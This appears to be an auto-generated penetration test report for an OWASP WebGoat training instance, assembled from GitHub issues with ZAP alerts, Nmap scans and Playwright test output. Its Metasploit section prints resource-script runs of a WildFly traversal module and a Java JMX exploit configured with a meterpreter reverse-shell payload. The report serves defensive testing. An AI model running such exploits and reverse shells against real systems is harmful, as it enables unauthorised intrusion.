ASTICI

Pentest Report

Penetration test of **OWASP WebGoat**

Consultant: ASTICI

25/12/2023

Executive Sumary

Overview

ASTICI Inc. performed a Web Application Penetration Test on OWASP WebGoat applications. The scope of the testing was the following.

- CI/CD deployed OWASP Webgoat instance, deployed through Terraform scripts on Azure
- Covering sample OWASP vulnerabilities
- Covering Nmap scan
- Attempting exploit OWASP Webgoat webserver using readily available Metasploit exploits
- Staic code analysis using SonarCloud
- Software Composition Analysis using Snyk

ASTICI Inc. found that with a few minor exceptions the quality and coverage of security controls in the OWASP WebGoat applications were very solid.

Resume

ASTICI Inc. is a start-up researching on Github actions repository technology to enable automated security testing for cloud native web applications.

Finding Classification

Each finding is classified as a High, Medium, or Low risk based on ASTICI Inc. considerations of potential threats, the likelihood of attack, and the possible impact of a successful attack against Instructure’s OWASP WebGoat applications. Each of these factors is assessed individually and in combination to determine the overall risk designation. These assessments are based on ASTICI Inc. professional judgment and experience providing consulting services to enterprises across the country. This report outlines the findings ASTICI Inc. collected from the testing, as well as ASTICI Inc. recommendations that will assist Instructure in reducing its risks and helping remove the vulnerabilities found.

Vulnerabilities and Recomendations

The following pages show Github issues one by one, which would highlight all vulnerabilities in current application.

Priotity-High Pytest-Playwright Test Output Issue

GitHub Issue number # 821

GitHub Issue URL : Here!

Playwright
pytest
"priority High"

Starting pytests....

============================= test session starts ==============================

platform linux -- Python 3.10.12, pytest-7.4.3, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: tornasync-0.6.0.post2, trio-0.8.0, playwright-0.4.3, anyio-4.2.0, base-url-2.0.0, asyncio-0.23.2

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py ... [60%]

src/test_WebGoatUseCases.py .. [100%]

=================================== PASSES ===================================

============================== 5 passed in 24.99s ==============================

Stop pytests....

Priority-High - OWASP WebGoat Landing Page ZAP Scan

GitHub Issue number # 820

GitHub Issue URL : Here!

- Site: http://20.198.76.139:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://20.198.76.139:8080/WebGoat/login
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://20.198.76.139:8080/WebGoat/login
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - http://20.198.76.139:8080/WebGoat/login
  - **Missing Anti-clickjacking Header** [10020] total: 1:
    - http://20.198.76.139:8080/WebGoat/login
  - **Cookie No HttpOnly Flag** [10010] total: 1:
    - http://20.198.76.139:8080/WebGoat/start.mvc
  - **Cookie Slack Detector** [90027] total: 2:
    - http://20.198.76.139:8080/WebGoat/login
    - http://20.198.76.139:8080/WebGoat/start.mvc
  - **Cookie without SameSite Attribute** [10054] total: 1:
    - http://20.198.76.139:8080/WebGoat/start.mvc
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - http://20.198.76.139:8080/WebGoat/login
  - **X-Content-Type-Options Header Missing** [10021] total: 1:
    - http://20.198.76.139:8080/WebGoat/login
  - **Base64 Disclosure** [10094] total: 1:
    - http://20.198.76.139:8080/WebGoat/start.mvc
  - **Non-Storable Content** [10049] total: 1:
    - http://20.198.76.139:8080/WebGoat/start.mvc
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
    - http://20.198.76.139:8080/
    - http://20.198.76.139:8080/sitemap.xml
    - http://20.198.76.139:8080/WebGoat/login
    - http://20.198.76.139:8080/WebGoat/start.mvc
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
    - http://20.198.76.139:8080/
    - http://20.198.76.139:8080/sitemap.xml
    - http://20.198.76.139:8080/WebGoat/login
    - http://20.198.76.139:8080/WebGoat/start.mvc
  - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
    - http://20.198.76.139:8080/
    - http://20.198.76.139:8080/sitemap.xml
    - http://20.198.76.139:8080/WebGoat/login
    - http://20.198.76.139:8080/WebGoat/start.mvc
  - **Sec-Fetch-User Header is Missing** [90005] total: 4:
    - http://20.198.76.139:8080/
    - http://20.198.76.139:8080/sitemap.xml
    - http://20.198.76.139:8080/WebGoat/login
    - http://20.198.76.139:8080/WebGoat/start.mvc
  - **Session Management Response Identified** [10112] total: 2:
    - http://20.198.76.139:8080/WebGoat/start.mvc
    - http://20.198.76.139:8080/WebGoat/start.mvc
  - **Storable and Cacheable Content** [10049] total: 4:
    - http://20.198.76.139:8080/

        - http://20.198.76.139:8080/robots.txt
        - http://20.198.76.139:8080/sitemap.xml
        - http://20.198.76.139:8080/WebGoat/login
    - **User Agent Fuzzer** [10104] total: 12:
        - http://20.198.76.139:8080/WebGoat/start.mvc
        - http://20.198.76.139:8080/WebGoat/start.mvc
        - http://20.198.76.139:8080/WebGoat/start.mvc
        - http://20.198.76.139:8080/WebGoat/start.mvc
        - http://20.198.76.139:8080/WebGoat/start.mvc
        - ..

View the following link to download the report. RunnerID:7319973187

Priotity-High Metasploit-ParrotOS Test output

GitHub Issue number # 819

GitHub Issue URL : Here!

parrotOS
metasploit
"priority High"

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [15.5 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [103 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [210 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [502 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [980 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetched 17.5 MB in 1s (12.5 MB/s)

Reading package lists...

Building dependency tree...

Reading state information...

47 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common
47 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.6 MB of archives.
After this operation, 34.8 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Reading package lists...
Building dependency tree...
Reading state information...
Calculating upgrade...
The following packages will be upgraded:
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libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common
47 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.6 MB of archives.
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Do you want to continue? [Y/n] Abort.
Hit:1 https://deb.parrot.sh/parrot parrot InRelease
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Reading package lists...

Building dependency tree...

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47 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

==========

Metasploit Framework Exploit Demo :

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Target Web Goat Instance IP Address : 20.198.76.139

Possible Metasploit exploits or auxilaries or payloads, that can used for attacking

==========

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploit*wildfly*dir_traversal.rc for ERB directives.

resource (./src/exploit*wildfly*dir*traversal.rc)> use auxiliary/scanner/http/wildfly*traversal

resource (./src/exploit*wildfly*dir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

---- --------------- -------- -----------

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVE*FILE*PATH standalone

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*wildfly*dir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*wildfly*dir_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploit*wildfly*dir_traversal.rc)> exit

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[*] Processing ./src/exploit*java*jmx*reverse*https.rc for ERB directives.

resource (./src/exploit*java*jmx*reverse*https.rc)> use exploit/multi/misc/java*jmx*server

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

resource (./src/exploit*java*jmx*reverse*https.rc)> show options

Module options (exploit/multi/misc/java*jmx*server):

Name Current Setting Required Description

---- --------------- -------- -----------

JMXRMI jmxrmi yes The name where the JMX RMI interface is bound

JMX_PASSWORD no The password to interact with an authenticated JMX endpoint

JMX_ROLE no The role to interact with an authenticated JMX endpoint

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT yes The target port (TCP)

SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 yes The local port to listen on.

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH no The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST 172.17.0.2 yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

---

0 Generic (Java Payload)

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*java*jmx*reverse*https.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*java*jmx*reverse*https.rc)> use payload/java/meterpreter/
reverse_https

resource (./src/exploit*java*jmx*reverse*https.rc)> exploit

[*] Payload Handler Started as Job

resource (./src/exploit*java*jmx*reverse*https.rc)> exit

==========

Priority-Medium Nmap-ParrotOS Scan output

GitHub Issue number # 818

GitHub Issue URL : Here!

parrotOS
nmap
"priority Medium"

Nmap vulnerability scanning
for 20.198.76.139

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

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libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common
47 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.6 MB of archives.
After this operation, 34.8 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Reading package lists...
Building dependency tree...
Reading state information...
Calculating upgrade...
The following packages will be upgraded:
bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
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Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease
Reading package lists...

Building dependency tree...

Reading state information...

47 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 (https://nmap.org) at 2023-12-25 07:20 UTC

Nmap scan report for 20.198.76.139

Host is up (0.20s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 dd:bd:1e:57:ea:f5:30:fd:f2:02:d4:6f:a8:1d:7b:46 (ECDSA)

|_ 256 dd:f5:23:45:93:7c:e6:24:2b:31:c3:a4:38:58:7b:34 (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

|_http-title: Site doesn't have a title.

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Mon, 25 Dec 2023 07:24:25 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest, HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|_ Date: Mon, 25 Dec 2023 07:24:24 GMT

9090/tcp open zeus-admin?

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Mon, 25 Dec 2023 07:25:05 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, SqueezeCenter_CLI, TLSSessionReq, TerminalServerCookie, WMSRequest, ibm-db2-das:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Mon, 25 Dec 2023 07:24:24 GMT

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|_ Date: Mon, 25 Dec 2023 07:24:41 GMT

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port8080-TCP:V=7.92%I=7%D=12/25%Time=65892E28%P=x86_64-pc-linux-gnu%r(G

SF:etRequest,65,"HTTP/1.1 404 Not Found Connection: close\n

SF:r Content-Length: 0 Date: Mon, 25 Dec 2023 07:24:

SF:24 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found\n

SF:r Connection: close Content-Length: 0 Date: Mon, 25\n
SF:x20Dec 2023 07:24:24 GMT
")%r(RTSPRequest,42,"HTTP/1.1
SF: 400 Bad Request Content-Length: 0 Connection: clo
SF:se
")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found
SF: Connection: close Content-Length: 0 Date: Mon, 25\x
SF:20Dec 2023 07:24:25 GMT
")%r(Socks5,42,"HTTP/1.1 40
SF:0 Bad Request Content-Length: 0 Connection: close
SF: ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content
SF:-Length: 0 Connection: close
")%r(Help,42,"HTTP/1.1
SF:0400 Bad Request Content-Length: 0 Connection: close\n
SF:r
")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Con
SF:tent-Length: 0 Connection: close
")%r(TerminalServerCoo
SF:kie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C
SF:onnection: close
")%r(TLSSessionReq,42,"HTTP/1.1 400 B
SF:ad Request Content-Length: 0 Connection: close
")
SF:%r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:\x
SF:200 Connection: close
")%r(SMBProgNeg,42,"HTTP/1.1 400
SF: Bad Request Content-Length: 0 Connection: close \n
SF:r ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Len
SF:gth: 0 Connection: close
")%r(LDAPSearchReq,42,"HTTP/1\n
SF:.1 400 Bad Request Content-Length: 0 Connection: c
SF:lose

")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request C

SF:ontent-Length: 0 Connection: close

")%r(WMSRequest,42,"

SF:HTTP/1.1 400 Bad Request Content-Length: 0 Connectio

SF:n: close

")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reque

SF:st Content-Length: 0 Connection: close

");

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port9090-TCP:V=7.92%I=7%D=12/25%Time=65892E28%P=x86_64-pc-linux-gnu%r(G

SF:etRequest,65,"HTTP/1.1 404 Not Found Connection: close\n

SF:r Content-Length: 0 Date: Mon, 25 Dec 2023 07:24:

SF:24 GMT

")%r(WMSRequest,42,"HTTP/1.1 400 Bad Request

SF: Content-Length: 0 Connection: close

")%r(ibm-db2-da

SF:s,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Con

SF:nection: close

")%r(SqueezeCenter_CLI,42,"HTTP/1.1 400

SF:0Bad Request Content-Length: 0 Connection: close

SF:")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content-Len

SF:gth: 0 Connection: close

")%r(HTTPOptions,65,"HTTP/1.1

SF: 404 Not Found Connection: close Content-Length: 0

SF: Date: Mon, 25 Dec 2023 07:24:41 GMT

")%r(R

SF:TSPRequest,42,"HTTP/1.1 400 Bad Request Content-Length:

SF:00 Connection: close

")%r(Help,42,"HTTP/1.1 400 Bad

SF: Request Content-Length: 0 Connection: close

")%r

SF:(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Content-Length

SF:: 0 Connection: close

")%r(TerminalServerCookie,42,"HTT

SF:P/1.1 400 Bad Request Content-Length: 0 Connection:\n

SF:x20close

")%r(TLSSessionReq,42,"HTTP/1.1 400 Bad Reque

SF:st Content-Length: 0 Connection: close

")%r(Kerberos

SF:,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Conn

SF:ection: close

")%r(SMBProgNeg,42,"HTTP/1.1 400 Bad

SF:Request Content-Length: 0 Connection: close

")%r(Fou

SF:rOhFourRequest,65,"HTTP/1.1 404 Not Found Connection: c

SF:lose Content-Length: 0 Date: Mon, 25 Dec 2023 0

SF:7:25:05 GMT

")%r(LPDString,42,"HTTP/1.1 400 Bad Req

SF:uest Content-Length: 0 Connection: close

")%r(LDAPSe

SF:archReq,42,"HTTP/1.1 400 Bad Request Content-Length: 0\n

SF:r Connection: close

")%r(SIPOptions,42,"HTTP/1.1 400

SF:Bad Request Content-Length: 0 Connection: close

"

SF:);

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 4.X|2.6.X|3.X (86%), Synology DiskStation Manager 5.X (86%), WatchGuard Fireware 11.X (86%), FreeBSD 6.X (85%)

OS CPE: cpe:/o:linux:linux*kernel:4.0 cpe:/o:linux:linux*kernel:2.6.32 cpe:/o:linux:linux*kernel:3.10 cpe:/o:linux:linux*kernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:freebsd:freebsd:6.2

Aggressive OS guesses: Linux 4.0 (86%), Linux 2.6.32 (86%), Linux 2.6.32 or 3.10 (86%), Linux 2.6.39 (86%), Linux 3.10 - 3.12 (86%), Linux 3.4 (86%), Linux 3.5 (86%), Linux 4.2 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 5484.41 ms 20.198.76.139

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 384.31 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 (https://nmap.org) at 2023-12-25 07:26 UTC

Nmap scan report for 20.198.76.139

Host is up (0.20s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.85 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 (https://nmap.org) at 2023-12-25 07:26 UTC

Nmap scan report for 20.198.76.139

Host is up (0.19s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.15 seconds

Priority High - Sonar Cloud Code Scan Report

GitHub Issue number # 817

GitHub Issue URL : Here!

SonarCloud
"priority High"

SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.

Priority High - Snyk Report

GitHub Issue number # 816

GitHub Issue URL : Here!

Snyk_scan
"priotity High"

Snyk Scan for OWASP WebGoat

Go to https://app.snyk.io/org/pradyumna-muppirala for full report of Snyk with Github SSO.

Priotity-High Pytest-Playwright Test Output Issue

GitHub Issue number # 815

GitHub Issue URL : Here!

Playwright
pytest
"priority High"

Starting pytests....

============================= test session starts ==============================

platform linux -- Python 3.10.12, pytest-7.4.3, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: tornasync-0.6.0.post2, trio-0.8.0, playwright-0.4.3, anyio-4.2.0, base-url-2.0.0, asyncio-0.23.2

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py ... [60%]

src/test_WebGoatUseCases.py .. [100%]

=================================== PASSES ===================================

============================== 5 passed in 25.22s ==============================

Stop pytests....

Priority-High - OWASP WebGoat Landing Page ZAP Scan

GitHub Issue number # 814

GitHub Issue URL : Here!

- Site: http://4.240.24.216:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://4.240.24.216:8080/WebGoat/login
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://4.240.24.216:8080/WebGoat/login
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - http://4.240.24.216:8080/WebGoat/login
  - **Missing Anti-clickjacking Header** [10020] total: 1:
    - http://4.240.24.216:8080/WebGoat/login
  - **Cookie No HttpOnly Flag** [10010] total: 1:
    - http://4.240.24.216:8080/WebGoat/start.mvc
  - **Cookie Slack Detector** [90027] total: 2:
    - http://4.240.24.216:8080/WebGoat/login
    - http://4.240.24.216:8080/WebGoat/start.mvc
  - **Cookie without SameSite Attribute** [10054] total: 1:
    - http://4.240.24.216:8080/WebGoat/start.mvc
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - http://4.240.24.216:8080/WebGoat/login
  - **X-Content-Type-Options Header Missing** [10021] total: 1:
    - http://4.240.24.216:8080/WebGoat/login
  - **Base64 Disclosure** [10094] total: 1:
    - http://4.240.24.216:8080/WebGoat/start.mvc
  - **Non-Storable Content** [10049] total: 1:
    - http://4.240.24.216:8080/WebGoat/start.mvc
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
    - http://4.240.24.216:8080/robots.txt
    - http://4.240.24.216:8080/sitemap.xml
    - http://4.240.24.216:8080/WebGoat/login
    - http://4.240.24.216:8080/WebGoat/start.mvc
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
    - http://4.240.24.216:8080/robots.txt
    - http://4.240.24.216:8080/sitemap.xml
    - http://4.240.24.216:8080/WebGoat/login
    - http://4.240.24.216:8080/WebGoat/start.mvc
  - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
    - http://4.240.24.216:8080/robots.txt
    - http://4.240.24.216:8080/sitemap.xml
    - http://4.240.24.216:8080/WebGoat/login
    - http://4.240.24.216:8080/WebGoat/start.mvc
  - **Sec-Fetch-User Header is Missing** [90005] total: 4:
    - http://4.240.24.216:8080/robots.txt
    - http://4.240.24.216:8080/sitemap.xml
    - http://4.240.24.216:8080/WebGoat/login
    - http://4.240.24.216:8080/WebGoat/start.mvc
  - **Session Management Response Identified** [10112] total: 2:
    - http://4.240.24.216:8080/WebGoat/start.mvc
    - http://4.240.24.216:8080/WebGoat/start.mvc
  - **Storable and Cacheable Content** [10049] total: 4:
    - http://4.240.24.216:8080/

        - http://4.240.24.216:8080/robots.txt
        - http://4.240.24.216:8080/sitemap.xml
        - http://4.240.24.216:8080/WebGoat/login
    - **User Agent Fuzzer** [10104] total: 12:
        - http://4.240.24.216:8080/WebGoat/start.mvc
        - http://4.240.24.216:8080/WebGoat/start.mvc
        - http://4.240.24.216:8080/WebGoat/start.mvc
        - http://4.240.24.216:8080/WebGoat/start.mvc
        - http://4.240.24.216:8080/WebGoat/start.mvc
        - ..

View the following link to download the report. RunnerID:7285107644

- Site: http://20.198.76.139:8080 **New Alerts**
    - **Absence of Anti-CSRF Tokens** [10202] total: 1:
        - http://20.198.76.139:8080/WebGoat/login
    - **Anti-CSRF Tokens Check** [20012] total: 1:
        - http://20.198.76.139:8080/WebGoat/login
    - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
        - http://20.198.76.139:8080/WebGoat/login
    - **Missing Anti-clickjacking Header** [10020] total: 1:
        - http://20.198.76.139:8080/WebGoat/login
    - **Permissions Policy Header Not Set** [10063] total: 1:
        - http://20.198.76.139:8080/WebGoat/login
    - **X-Content-Type-Options Header Missing** [10021] total: 1:
        - http://20.198.76.139:8080/WebGoat/login
    - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
        - http://20.198.76.139:8080/
        - http://20.198.76.139:8080/sitemap.xml
        - http://20.198.76.139:8080/WebGoat/login
    - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
        - http://20.198.76.139:8080/
        - http://20.198.76.139:8080/sitemap.xml
        - http://20.198.76.139:8080/WebGoat/login
    - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
        - http://20.198.76.139:8080/
        - http://20.198.76.139:8080/sitemap.xml
        - http://20.198.76.139:8080/WebGoat/login
    - **Sec-Fetch-User Header is Missing** [90005] total: 3:
        - http://20.198.76.139:8080/
        - http://20.198.76.139:8080/sitemap.xml
        - http://20.198.76.139:8080/WebGoat/login
    - **Storable and Cacheable Content** [10049] total: 4:
        - http://20.198.76.139:8080/
        - http://20.198.76.139:8080/robots.txt
        - http://20.198.76.139:8080/sitemap.xml
        - http://20.198.76.139:8080/WebGoat/login

View the following link to download the report. RunnerID:7319973187

Priority-High - OWASP WebGoat Login Page ZAP Scan

GitHub Issue number # 813

GitHub Issue URL : Here!

- Site: http://4.240.24.216:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://4.240.24.216:8080/WebGoat/login
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://4.240.24.216:8080/WebGoat/login
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - http://4.240.24.216:8080/WebGoat/login
  - **Missing Anti-clickjacking Header** [10020] total: 1:
    - http://4.240.24.216:8080/WebGoat/login
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - http://4.240.24.216:8080/WebGoat/login
  - **X-Content-Type-Options Header Missing** [10021] total: 1:
    - http://4.240.24.216:8080/WebGoat/login
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
    - http://4.240.24.216:8080/
    - http://4.240.24.216:8080/robots.txt
    - http://4.240.24.216:8080/sitemap.xml
    - http://4.240.24.216:8080/WebGoat/login
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
    - http://4.240.24.216:8080/
    - http://4.240.24.216:8080/robots.txt
    - http://4.240.24.216:8080/sitemap.xml
    - http://4.240.24.216:8080/WebGoat/login
  - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
    - http://4.240.24.216:8080/
    - http://4.240.24.216:8080/robots.txt
    - http://4.240.24.216:8080/sitemap.xml
    - http://4.240.24.216:8080/WebGoat/login
  - **Sec-Fetch-User Header is Missing** [90005] total: 4:
    - http://4.240.24.216:8080/
    - http://4.240.24.216:8080/robots.txt
    - http://4.240.24.216:8080/sitemap.xml
    - http://4.240.24.216:8080/WebGoat/login
  - **Storable and Cacheable Content** [10049] total: 4:
    - http://4.240.24.216:8080/
    - http://4.240.24.216:8080/robots.txt
    - http://4.240.24.216:8080/sitemap.xml
    - http://4.240.24.216:8080/WebGoat/login

View the following link to download the report. RunnerID:7285107644

Priority-High - OWASP WebGoat Registration Page ZAP Scan

GitHub Issue number # 812

GitHub Issue URL : Here!

- Site: http://4.240.24.216:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://4.240.24.216:8080/WebGoat/registration
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://4.240.24.216:8080/WebGoat/registration
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - http://4.240.24.216:8080/WebGoat/registration
  - **Missing Anti-clickjacking Header** [10020] total: 1:
    - http://4.240.24.216:8080/WebGoat/registration
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - http://4.240.24.216:8080/WebGoat/registration
  - **X-Content-Type-Options Header Missing** [10021] total: 1:
    - http://4.240.24.216:8080/WebGoat/registration
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
    - http://4.240.24.216:8080/robots.txt
    - http://4.240.24.216:8080/sitemap.xml
    - http://4.240.24.216:8080/WebGoat/registration
